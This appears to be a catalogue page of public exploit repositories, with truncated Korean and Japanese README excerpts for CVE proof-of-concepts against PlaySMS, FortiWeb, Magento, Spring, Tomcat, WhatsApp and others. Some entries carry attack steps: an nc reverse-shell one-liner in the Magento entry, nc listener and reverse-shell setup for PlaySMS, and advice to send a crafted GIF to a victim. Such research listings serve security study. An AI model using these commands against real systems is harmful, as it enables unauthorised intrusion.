CVE-2020-8644-PlaySMS-1.4

CVE-2020-8644-PlaySMS-1.4 PlaySMS 1.4.3 미만 버전을 공격하는 Python 스크립트 실행 nc로 포트 열기: 그리고 exploit.py를 실행합니다: ./exploit.py 익스플로잇 변경하기 exploit.py가 생성하는 리버스 셸을 변경하고 싶을 수 있습니다. 이를 위해 exploit.py의 1419번째 줄에 있는 createrevshellencoded 함수를 변경하면 됩니다: def createrevshellencodedlhost,lport: 필요하면 변경하세요 revshell = "/?ph...

CVE-2024-30051

Windows DWM Core Library 권한 상승 취약점 CVE-2024-30051 2024년 8월 15일 게시 이 블로그 게시물에서는 Core Impact용 익스플로잇을 개발할 당시 분석했던 Microsoft Windows DWM Core 라이브러리의 취약점에 대해 설명합니다. 이 취약점은 권한이 없는 공격자가 Integrity System 권한을 가진 DWM 사용자로 코드를 실행할 수 있게 합니다 CVE-2024-30051. 당시 익스플로잇을 개발하기에 충분한 공개 정보가 없어서 리버싱을 많이 해야 했습니다. 그래서...

CVE-2022-22947

다음에서 복사함 원본: https://github.com/whwlsfb/cve-2022-22947-godzilla-memshell https://github.com/lucksec/Spring-Cloud-Gateway-CVE-2022-22947...

CVE-2025-25257

CVE-2025-25257 - FortiWeb 사전 인증 SQL 인젝션을 통한 RCE 07/09/2025 작성자: TheStingR 면책 조항: 이 PoCProof-of-Concept는 승인된 보안 테스트 및 연구 목적으로만 제공됩니다. 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 대한 무단 사용은 불법입니다. 사용자는 모든 관련 법률 및 규정을 준수할 책임이 있습니다. CVE-2025-25257 은 웹 애플리케이션 방화벽인 Fortinet FortiWeb의 Fabric Connector 구성 요소에서 발견된 치명적인...

CVE-2015-1397-Magento-Shoplift

CVE-2015-1397-Magento-Shoplift 취약점 세부 정보 HackTheBox - SwagShop에서 확인된 취약점 1단계 = exploit.py Magento CMS 대시보드에 대한 관리자 자격 증명 획득 2단계 = postauth.py exploit.py에서 획득한 자격 증명을 postauth.py에 추가한 후 실행: python3 postauth.py http://TARGET.SITE/index.php/admin "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&1|nc...

CVE-2021-40870

CVE-2021-40870 Exploitation Aviatrix Controller 6.x 버전 중 6.5-1804.1922 이전 버전에서 문제가 발견되었습니다. 위험한 유형의 파일을 인증 없이 업로드할 수 있어, 디렉터리 트래버설을 통해 인증되지 않은 사용자가 임의 코드를 실행할 수 있습니다. 설치해야 할 모듈 이 프로젝트를 실행하려면 Python에 다음 모듈을 추가해야 합니다. requests urllib3 사용법 이 프로젝트를 실행하려면 다음을 수행하세요. python3 poc.py https://site.com/ UR...

Spring4Shell-PoC-exploit

Spring4Shell - PoC CVE - 2022 - 22965 영향을 받는 버전 : Spring Framework 버전 5.3.0 5.3.17, 5.2.0 5.2.19 및 이전 버전 Java JDK 9 Apache Tomcat 버전 10..0.20 미만, 9.0.62 미만, 8.5.78 미만 전통적인 WAR로 패키징되어 spring-webmvc 또는 spring-webflux 종속성을 사용하고 독립형 Servlet 컨테이너에 배포된 애플리케이션이 영향을 받습니다. 설명 이 문제는 classLoader 조작을 통해 악용될 ...

CVE-2025-24813

CVE-2025-24813 - Apache Tomcat 원격 코드 실행 익스플로잇 이는 CVE-2025-24813 에 대한 개념 증명PoC 익스플로잇입니다. Apache Tomcat9.0.80–9.0.83, 10.1.0–10.1.17의 취약점으로, 세션 역직렬화를 통해 원격 코드 실행RCE이 가능합니다. 이 익스플로잇은 부분 PUT 요청과 PersistentManager 세션 저장 메커니즘을 악용하여 코드 실행을 달성합니다. Description Apache Tomcat은 불완전한 파일 업로드를 잘못 처리합니다. 공격자는...

mouseserver-exploit

Mobile Mouse 3.6.0.4 RCE - 수정 EDB-51010https://www.exploit-db.com/exploits/51010으로 공개된 Mobile Mouse 3.6.0.4 원격 코드 실행 익스플로잇의 수정된 버전입니다. 취약점 CVE: CVE-2023-31902 영향받는 버전: Mobile Mouse 3.6.0.4 기본 포트: TCP/9099 수정된 내용 원본 익스플로잇은 페이로드를 성공적으로 다운로드하지만 두 단계가 동일한 TCP 연결을 사용하기 때문에 실행에 실패할 수 있습니다. 이 버전은 다음과...

solr_exploit

고지 여기에 제공된 취약점 탐지 방법, 파일 등은 보안 실무자가 법적 승인을 받은 경우에만 사용해야 하며, 목적은 승인된 서버의 보안을 테스트하는 것입니다. 보안 실무자는 법률을 준수해야 하며, 승인 없이 취약점 테스트를 수행해서는 안 됩니다. 소개 취약점 분석 - Apache Solr 원격 코드 실행 취약점CVE-2019-0193 - 선지 커뮤니티 이론적으로 다양한 유형의 데이터 소스를 사용하여 Exploit을 구성할 수 있습니다. Exploit1은 URLDataSource 유형의 데이터 소스를 사용합니다. Exploit2는...

chakra-exploit-framework

Chakra 익스플로잇 프레임워크 이 저장소는 EXP-401 과정을 준비하기 위해 작성한 브라우저 익스플로잇 프레임워크를 포함합니다. 이 프레임워크는 2019년 Edge가 v8로 전환될 때까지 Edge의 일부였던 Chakra 엔진을 대상으로 합니다. 프레임워크에서 사용된 데모 취약점은 CVE-2019-0567 타입 혼동입니다. 기능 이 프레임워크를 사용하기 쉽게 만들기 위해, 향후 샌드박스 탈출 구현을 매우 쉽게 해주는 몇 가지 멋진 기능을 작성했습니다. 추상화된 Windows API 호출 프레임워크는 Windows API를 ...

CVE-2022-22963

CVE-2022-22963 - Spring4shell 취약한 SpringBoot 애플리케이션을 실행하려면 이 Docker 컨테이너를 8080 포트에 노출시켜 실행하세요. 예: docker run -it -d -p 8080:8080 bobcheat/springboot-public 익스플로잇 Curl 명령: curl -i -s -k -X $'POST' -H $'Host: 192.168.1.2:8080' -H...

CVE-2019-16113-Dockerfile

Bluditディレクトリトラバーサル脆弱性（CVE-2019--16113） Bludit-3.9.2 は軽量CMSであり、LAMP環境があれば実行できます。画像アップロード時、Bluditはファイル拡張子をチェックした後、ファイルを適時に削除しないため、攻撃者はuuidパラメータを制御することでディレクトリトラバーサルを実現できます。詳細は参照 脆弱性環境 以下のコマンドを実行してイメージをビルドし、Bluditコンテナを起動します cd Docker sudo docker build -t bludit:cve . 编译镜像 sudo docker run --name bludi...

CVE-2025-25257

CVE-2025-25257 CVE‑2025‑25257은 Fortinet FortiWeb의 Fabric Connector 구성 요소에 영향을 미치는 치명적인 인증 전 SQL 인젝션 취약점입니다. 영향을 받는 FortiWeb 버전은 다음과 같습니다: 7.6.0–7.6.3 7.4.0–7.4.7 7.2.0–7.2.10 ≤ 7.0.10 기술 세부 사항 이 문제는 getfabricuserbytoken 함수에서 발생하며, 이 함수는 검증되지 않은 사용자 입력Authorization: Bearer HTTP 헤더을 사용하여 SQL 쿼리를...

CVE-2024-41651

Blind SSRF to RCE 익스플로잇 - PrestaShop 8.1.7 이 문서는 신규 PrestaShop 8.1.7 Docker 설치 환경에서 Blind SSRF를 이용한 RCE 익스플로잇에 대해 설명합니다. 사전 요구 사항 최소한 하나의 오래된 모듈이 설치되어 있어야 합니다. 예를 들어: psfacetedsearch 원본 패키지를 다운로드하세요: psfacetedsearch v3.16.1 다운로드 재현 단계 1. 악성 파일 준비: 원본 패키지를 다운로드하고 압축을 풉니다. 악성 명령어를 주입할 적절한 파일과 함수를...

CVE-2021-3493_CVE-2022-3357

참고 1. 이 저장소는 CVE-2021-3493과 CVE-2022-3357이라는 두 CVE에 대한 소스 코드 및 연구 정보를 포함하는 GitHub입니다. 각각 권한 상승을 허용하는 CVE와 RCE 침투를 허용하는 CVE이며, 이 두 CVE를 결합하면 Wordpress 서버에 침투할 수 있습니다. 해당 서버가 적절한 버전의 Ubuntu에서 실행되고 OverlayFS 서비스가 있다면, 침투 및 권한 상승이 가능합니다. 2. 설정 및 익스플로잇에 대한 자세한 내용은 매뉴얼을 읽어보시고, 매뉴얼에 포함된 데모 비디오 링크도 확인해 주...

CVE-2018-5767-AC9

研究および著者 David Baker 記事: エクスプロイトにもパッチが必要な時がある！アドレス変更を乗り越える 外部リンク CVE-2018-5767-AC9 CVE-2018-5767 https://vulners.com/cve/CVE-2018-5767 の概念実証実装 以下は CVE-2018-5767 の具現化であり、パスワードの 'Cookie' ヘッダーを解析する際に発生する、保護されていない sscanf 呼び出しを悪用する脆弱性です。この脆弱性は当初、AC15...

CVE-2019-11932

CVE-2019-11932 WhatsApp 익스플로잇 PoC의 Double-Free 버그. 참고: 셸을 얻으려면 exploit.c에서 리스너 IP를 설정하세요. nc -lvp 1337 또는 원하는 포트를 사용하세요. 그런 다음 컴파일하세요. make 또는 gcc -o exploit egiflib.c exploit.c 그런 다음 ./exploit을 실행하고 내용을 .gif로 저장하세요. 그리고 피해자에게 보내세요. 출처...

CVE-2020-0688-Scanner

CVE-2020-0688-Scanner CVE-2020-0688을 여러 호스트에서 비침습적 방식으로 확인하기 위한 빠른 C 도구입니다. 기능 입력 파일에서 호스트 스캔 수동적 확인: HTML 콘텐츠를 스크래핑하여 Exchange 버전 획득 출력 파일 생성 데모 사용 방법 사전 요구 사항 Windows .NET framework 4.5.2 다운로드 git clone https://github.com/onSec-fr/CVE-2020-0688-Scanner.git 실행 ./CVE-2020-0688-Scanner.exe...

CVE-2021-22192

CVE-2021-22192 CVE-2021-22192 실습 환경: 인증되지 않은 사용자 RCE 취약점 0x10 실습 환경 0x20 디렉터리 구조 CVE-2021-22192 ├── README.md ............... 이 README 설명 ├── imgs .................... README 설명 보조 이미지 ├── gitlab .................. Gitlab 컨테이너의 마운트 디렉터리 │ ├── Dockerfile .......... Gitlab의 Docker 빌드 파일 │ ├── confi...